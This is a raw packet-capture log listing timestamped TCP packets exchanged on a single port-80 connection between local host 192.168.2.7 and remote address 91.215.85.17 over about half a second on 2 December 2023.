Dec 2, 2023 18:01:53.609584093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.609615088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609652996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609656096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.609693050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609730959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609739065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.609767914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609806061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609810114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.609870911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609914064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609918118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.609951019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.609992981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610002041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610030890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610069036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610071898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610106945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610145092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610151052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610183954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610223055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610224962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610261917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610300064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610308886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610338926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610375881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610387087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610414028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610451937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610459089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610488892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610527039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610534906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610564947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610601902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610605001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610640049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610677958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610687971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610716105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610758066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610759020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610796928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610835075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610842943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610872030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610908985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610924006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.610946894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610986948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.610994101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611027002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611068964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611078978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611105919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611143112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611152887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611180067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611217976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611226082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611259937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611298084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611308098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611335039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611372948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611381054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611409903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611447096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611455917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611485004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611521006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611527920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611561060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611598015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611607075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611639023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611676931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611680984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611713886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611752033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611762047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611790895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611828089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611834049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611865044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611901045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611905098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.611942053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.611987114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.613725901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.613884926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.838725090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.838773966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.838870049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.838912964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.838953018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.838996887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841335058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841413021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841428041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841440916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841459036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841479063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841483116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841556072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841569901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841583967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841598034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841600895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841624975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841703892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841717958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841732025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841738939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841753960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841767073 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841787100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841821909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841851950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841866016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841897964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841902018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841912031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841926098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841938019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841950893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.841972113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.841972113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842051983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842065096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842078924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842088938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842116117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842117071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842130899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842165947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842225075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842241049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842272997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842288971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842303991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842317104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842333078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842339993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842340946 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842348099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842355013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842367887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842367887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842400074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842403889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842477083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842490911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842504025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842510939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842518091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842535019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842591047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842607021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842623949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842634916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842669964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842674971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842731953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842745066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842752934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842766047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842780113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842802048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842818022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842832088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842855930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.842883110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842895985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.842919111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.843343019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.843359947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.843385935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.843481064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.843519926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.843849897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844106913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844146967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844260931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844274044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844310999 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844332933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844348907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844361067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844373941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844382048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844386101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844398975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844414949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844418049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844433069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844438076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844448090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844460964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844468117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844474077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844487906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844496012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844501019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844513893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844525099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844527006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844541073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844552994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844553947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844568968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844578981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844583035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844595909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844598055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844610929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844624996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844634056 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844639063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844655037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844660044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844671011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844683886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844692945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844697952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844710112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844719887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844722986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844737053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844748020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844749928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844763041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844773054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844778061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844790936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844795942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844805002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844816923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.844826937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.844852924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845125914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845139027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845151901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845164061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845175982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845186949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845195055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845204115 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845211983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845226049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845236063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845237970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845257998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845261097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845273972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845288038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845298052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845300913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845314980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845323086 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845328093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845343113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845352888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845356941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845370054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845372915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845382929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845396042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845407963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845410109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845423937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845434904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845438957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845452070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845462084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845464945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845479012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845491886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845495939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845510960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845515013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845551014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845572948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845587015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845606089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845618963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845628023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845633030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845640898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845654964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845666885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845671892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845679998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845681906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845694065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845704079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845705032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845719099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845730066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845733881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845746994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845756054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845761061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845773935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845786095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845787048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845802069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845810890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845814943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845829010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845838070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845845938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845859051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845868111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845874071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845887899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845891953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845900059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845913887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845921993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845927000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845940113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845947981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845952034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845966101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845968008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.845978975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845993042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:53.845999956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:53.846029997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.069025993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.069072008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.069107056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.069133997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:54.069144964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:54.069181919 CET	80	49713	91.215.85.17	192.168.2.7
